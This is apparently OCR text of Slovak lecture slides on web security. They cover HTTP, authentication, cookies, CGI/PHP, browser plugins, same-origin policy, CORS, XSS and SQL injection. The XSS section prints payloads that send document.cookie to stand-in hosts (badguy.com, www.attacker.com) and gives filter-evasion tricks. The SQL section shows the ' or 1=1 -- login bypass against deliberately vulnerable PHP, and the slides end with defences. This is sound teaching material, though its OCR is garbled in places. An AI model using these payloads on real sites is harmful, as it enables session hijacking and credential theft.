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Zakladna architektura Webu
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HTTP Reply
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e HTTP: Jednoduchy bezstavovy protokol

— Klient
e Otvori spojenie (zvycajne TCP, port 80)
* Posle dotaz
— Server
* Prijime spojenie
e Spracuje dotaz
* Posle odpoved
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HTTP Dotazy

* Dotaz = hlavi¢ka + telo (nepovinné)
* Hlavicka:

— Method (GET, POST, ...)

— Resource (napr. /store/index.php)

— Veriza protocolu (HTTP/1.1)
— DalSie informacie

* Telo nie je dalej ,, parsované® povazuje sa za
byte stream



HTTP odpoved

* Odpoved = hlavicka + telo
* Hlavicika:

— Verzia protokolu
— Status code
— Other info

* Telo je zase , neparsovany“ byte stream



HTTP

* Je bezstavovy protocol
— T.j. napr. stav Ci je pouzivatel prihlaseny musi byt rieSeny
mimo HTTP.
e Server nie je autentizovany

— Infikovany router moze pouzivatelovi podhodit faloSny
obsah

— Autentizaciu servera rieSi nadstavba HTTPS (HTTP nad SSL
/ TLS)

* Prenos udajov nie je sifrovany

— Data (aj prihlasovacie mena a hesld) sa prenasaju sietou v
otvorenom tvare.

— Sifrovanie rieéi nadstavba HTTPS



AUTENTIZACIA VO WEB
APLIKACIACH



Autentizacia servera

1. ClientHello

Regular Client . SSL Server

2. ServerHello
H I ] I
(send certificate with pub key e)
<

o

O |_ |

3. ClientKeyExchange - o
(re mod N) i ]

Result: Encrypted with computed shared master secret




Autentizacia servera

1. ClientHello

Regular Client . SSL Server

2. ServerHello
(send Certificate with pub key e)
-+

:D-l

30

. Je certifikat expirovany

Doverujem CA, ktora podpisala certifikat?
Nie je certifikdt revokovany? (vela klientov to
nekotroluje)



Autentizacia klienta

e HTTP autentizacia
— Basic a MD5
— Prenos v otvorenom tvare alebo cez SSL

e Pomocou HTML formulara a aplikacie na
strane servera

— ID prihlasenia (sessionid) sa nasledne prenasa v
kazdom dotaze, najCastejsie pomocou cookie

* |dentifikacie na zaklade certifikatu a SSL/TLS



HTTP autentizacia

* Postavené na jednoduchej challenge-response
schéme

* Challenge a sposob autentizacie posiela server
ako sucast hlavicky odpovede 401
(unauthorized)

* Klient musi v dotaze na server uviest hlavicku
Authorization s prihlasovacimi udajmi

— Dva najpopularnejsie mody Basic a Digest



HTTP autentizacia - BASIC

e Server odpovie na neautorizovany dotaz spravou
s kédom 401, pricom v hlavicke uvedie

— WWW-Authenticate: Basic realm=“ReservedDocs”

e Klient ziska pristup k pozadovanému zdroju, ak v
hlavicke uvedie base64 zakddované meno:heslo

— Authorization: Basic
QWxhZGRpbjpvcGVulHNIc2FtZQ==

* Base64 kddovanie je lahko dekédovatelné,
pouziva sa kvoli zakdodovaniu divnych znakov.



HTTP autentizacia - DIGEST

e OdverzieHTTP 1.1

— Server posle nonce ako challenge

— Klient vypocita

e H1 = MD5(username:realm::password)
 H2 = MD5(method:URI)

— Klient posSle msg = MD5(H1:nonce:H2)
e Server pozna heslo pouzivatela v otvorenom
tvare, overi
— H1’ = MD5(username:realm:password)
— H2’ = MD5(method:URI)
— MD5(H1":nonce:H2’) = msg



Autentizacia pomocou HTML
formulara

Web stranka vyziada od pouzivatela meno a heslo

Server ma ulozené meno/heslo pouzivatela v
databaze

Po Uspesnom overeni prijatého mena/hesla posle
server na klienta cookie s ID relacie

Prehliadac pri kazdom HTTP dotaze na server
posiela v cookie aj ID relacie, na zaklade ktoreho
server identifikuje prihlaseného pouzivatela



Cookies

 Data ulozené v prehliadaci klienta
— Vyznam dat je pre prehliadac nepodstatny

— Pouziva sa na spravovanie relacii, sledovanie
pouzivatelov a pod.

e Pozostava z:
— Nazvu
— Hodnoty
— Datumu a Casu expiracie
— Doménu a cestu (path), pre ktoru je validny
— Flag, ¢i musi byt spojenie bezpecné



Relacia s pouzitim cookies

Browser Server

POST/login.cgj

Set-cookie: authenticator

GET...

Cookije: authenh’cator

resp onse




HTTP CGl



Common Gateway Interface

* Mechanizmus na spustanie programov na
strane servera

e Vystup programu je odoslany na klienta

* \/stupy do programu sa mozu posielat

— Cez URL (HTTP GET metoda)
— Cez telo HTTP dotazu (POST metdda)

http://www.ms.com/cgi-bin/prg.tcl/usr/info?choice=yes&g=high

| P | Y | \ | | \ |

. CGl Program Extra Query data
Directory Information




CGl programy

* MOzu byt napisané v hocijakom jazyku
e Vstup do programu je ,piped” do stdin programu
* Daldie parametre st nastavené ako , environment
variables”
— REQUEST_METHOD
— PATH_INFO
— QUERY_STRING
— CONTENT _TYPE
— CONTENT _LENGTH
— HTTP_<field> - hodnota prislusnej HTTP hlavicky
— REMOTE_ADDR



PHP

e Scriptovaci jazyk generujuci dynamicky obsah
* MOzZe sa prelinat s HTML

<html>
<head> <title>Feedback Page</title></head>
<body>
<hl>Feedback Page</hl>
<?php
$name = $ POST['name'];
$comment = $ POST['comment'];
Sfile = fopen("feedback.html", "a");
fwrite($file, "<p>$name said: Scomment</p>\n");
fclose ($file) ;
include (”feedback.html") ;
?>
<p>And this is the end of it!</p>
<hr />
</body>
</html>



PHP — Co keby...

<html>
<head> <title>Feedback Page</title></head>
<body>
<hl>Feedback Page</hl>
<?php
$name = $ POST['name'];
$comment = $ POST['comment'];
$file = fopen ($name + "feedback.html", "a");
fwrite($file, "<p>Sname said: $comment</p>\n");
fclose (Sfile) ;
include (” feedback.html") ;
?>
<p>And this is the end of it!</p>
<hr />
</body>
</html>



KOD VYKONAVANY V PREHLIADACI



Java applety

e Java applety su skompilované Java programy,
ktoré su

— Stiahnuté do prehliadaca

— Spustané v ramci kontextu web stranky

* Pristup k zdrojom je regulovany pomocou
implementacie Java Security Manager



Flash

Multiplatformova multimedialna platforma ©

ldealny pre animacie, grafiku, video a
jednoduché hry

Flash sibor mo6ze byt vlozeny do www stranky,
kde sa prehrava pomocou pluginu do
prehliadaca - Flash playera

Logika flashovych aplikacii a hier je postavena
na jazyku ActionScript (aktualne vo verzii 3.0).



Flash player — AVM

Zdrojovy kod je skompilovany do byte-kédu

Flash player na klientovi vykona byte-kod

pomocou AVM

— V pripade AVM2 moze dojst k prekompilovaniu do
strojového koédu (JIT compilation).

4 fazy: loading, linking, verification, execution

— Fazy sa prelinaju, verifikacia bezi v kazdej faze

Chyby a nedostatky vo verifikachom procese

umoznuju utocnikovi vykonat skodlivy (resp.

akykolvek) kod.



ActiveX componenty

ActiveX componenty su binarne programy,
(spustitelné len v Specifickych operacnych
systémoch) v ramci web stranky

Podporované len na windowsoch
Kod je zvacsa podpisany

Po spusteni maju uplny pristup k prostrediu
lienta




JavaScript

* Bezpecénost z roku 1995

* Dva zakladné bezpecnostné poziadavky
— Zabranit skodlivej stranke utodit na Vas pocitac
— Zabranit skodlivej stranke pristupovat k inej
stranke
* Avsak, ak mate v sucasnosti vsetky dokumenty
v cloude, koho zaujima ze sa utocnik nevie
dostat k adresaru ,My documents“?



JavaScript

 Same Origin Policy: Skripty na stranke nemo6zu
interagovat so strankami v inej doméne

— Napr. skript nacitany strankou www.fmph.uniba.sk
nemoze interagovat so strankou www.virus.com

* Avsak, skripty nacitané v ramci tej istej stranky
(hoci aj z inych domén) medzi sebou interaguju
— JavaScript je inherentne globalny

— Skripty si mO6Zu navzajom prepisovat globalne
premenné, funkcie, definicie objektov a pod.


http://www.virus.com/

JavaScript

* Detaily, ako je implementované blokovanie
pristupu k jednotlivym zdrojom zalezi od
prehliadaca

Browser Vulnerabiiities In 2010 And 2011

Opera

Mozilla Firefox

2010
2011

Microsoft Internet Explorer
Google Chrome

Apple Safari

L=

50 100 150 200



HTMLS - Cross Origin Resource Sharing

* Umoznuje JavaScriptu stahovat data aj z inej
domény

* Podobny zakladny princip ako crossdomain.xml
vo Flashi

* Prehliadac na zaklade hlavicky v HTTP odpovedi
urci, ¢i dany JavaScript dotaz na inu doménu
povoli
— nevyhoda oproti crossdomain.xml, kde sa najprv

nacita politika a dotaz sa zakaze este pred jeho
odoslanim na server



Cross Origin Resource Sharing

domainA. domainB.
GET / HTTP/1.1 com com
Host: domainB.com
. s . : A S
Origin: http://domainA.com q% I
HTTP/1.1. 200 OK Browser

Content-type: text/html
Access-Control-Allow-Origin: http://domainA.com

.[.c;lata]


http://domaina.com/
http://domaina.com/

Cross Origin Resource Sharing

Port / network scanner DEMO:
http://www.andlabs.org/tools/jsrecon.html

JS=RECON

b

HTMLS based JavaScript Network Reconnaissance Tool

Network Scanning Discover My Private IP

IP Address: 127.0.0.1 Start Port: |79 End Port: 83
Protocol : 0 Cross Ongin Requests @ WebSockets
Note:
* Tuned to scan fast internal networks. Scanning public/slow networks would require retuning
* Wortks only on the versions of FireFox, Chrome(recommended) and Safari that support
CrossOriginRequests WebSockets
* Currently works on WINDOWS ONLY.


http://www.andlabs.org/tools/jsrecon.html

Cross-site scripting (XSS)

* Sposobené nedostatoCchym osetrenim vstupov

* Najcastejsia zranitelnost web stranok
sucasnosti

* Je lahké zabudnut na oSetrenie vstupu

* Dobry navrh aplikacie vie minimalizovat XSS
utoky (napr. pouzitie navrhového vzoru MVC)



Cross-site scripting (XSS)

* Vo vSeobecnosti je velmi tazké zabranit XSS
utokom

— Hlavne ak chceme pouzivatelovi dovolit
formatovat text, vkladat vided a pod.



Cross-site scripting (XSS) — basic
picture

Attack Server

@ it web She
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XSS

* Consider link: (properly URL encoded)

http://victim.com/search.php ? term =

<script> window.open (
“‘http://badguy.com?coockie = 7 +

document.cookie ) </script>

What if user clicks on this link?
1. Browser goes to victim.com/search.php

2. Victim.com returns

<HTML> Results for <script> .. </
script>

3. Browser executes script:
Sends badguy.com cookie for victim.com



Preco by pouzivatel klikal na odkaz?

Phishing email s odkazom
Neviditelny odkaz nad nieCim zaujimavym

Naco je badguy.com pristup ku cookie

— Cookie moze obsahovat session id, na zaklade ktorého
sa moOze badguy autentizovat

Okrem toho moéze utocnik cez javascript uplne
prerobit stranku victim.com
— Kontroluje odkazy na stranke
— Kontroluje formularové polia



XSS - triky

How does attacker “send” information to back to
himself?

— For example, change the source of an image using the
DOM:

— document.images
[0].src="“www.attacker.com/”+document.cookie;

Quotes are filtered: Attacker uses the unicode
equivalents \u0022 and \u0027

“Form redirecting” to redirect the target of a form to
steal the form values (e.g., username and password)

Line break trick:

— <IMG SRC="javasc
ript:alert('test');"> <- line break trick \10 \13 as
delimiters



SQL INJECTION



SQL injection

Safely parsing user
input from and
passing it to a

command is very
difficult. It requires

complete
understanding of
the command and
the underlying
execution
environment




Browser

g_

SQL injection

Username ‘foo’,

password ‘bar’

>

€
You are authenticated

Web

server

Is password for
user ‘foo’
currently ‘bar’?

v

Microsoft
SOl Server

Database

W\, server




SQL injection

7} User's Web Site - Microsoft Internet Explorer : ‘_I_Dj_)g

File Edit View Favorites Tools Help ar
D= - (D - %] [B] 3| D sewch || roders ¢ ravortes @PMedn £2) | 2+ L 3 @D | rovpstomoer
Address @http://bbox/user/ ) i
T
User's Webpage
Login
Username: |
Password: |
Submit] Resetl
o

/€] Done | [ | NJiocalintranet /




SQL injection
<?php

Suser = $§ POST[‘username’ ];
Spassword = § POST[ ‘password’];

Ssql="select id from” .
“pubs.guest.sa table” .

“where username = ‘",
Susername .

"’ and password = ‘".
Spassword . "‘";

Srs = $db->executeQuery($sql);
if (Srs->numrows() == 0)
echo “Not authenticated”
else

echo “authenticated”
?>



SQL injection

e Casto je potrebné vyskladat SQL dotaz na
databazu zo vstupu od pouzivatela

— Squery = “select ssn from employees where name = ‘7
. Susername . "

* Ak vstup nie je dobre osSetreny, pouzivatel
moze pomocou Specialnych znakov lubovolne
upravovat vysledny SQL dotaz



SQL injection

Victim Server

@

uninten
ded

query

@ receive valuable
data

Attacker

Victim SQL DB



SQL injection

* Uvazujme nasledovny dotaz:

"select * from pubs.guest.sa table \

where username = ‘” + Susername + "' and \
password = ‘" + $password + "'";

Ak do Susername dame " or 1=1 --

select * from sa table where username='‘’ or 1l=1 --’' and
password= ‘'

— Vrati zoznam vsetkych pouzivatelov
— -- znamena komentar, text za -- sa ignoruje



SQL injection

* Ochrana: , escapovat” vstup napr. pouzitim
mysql_real escape_string()

e Stored procedures v databaze
* Prepared statements



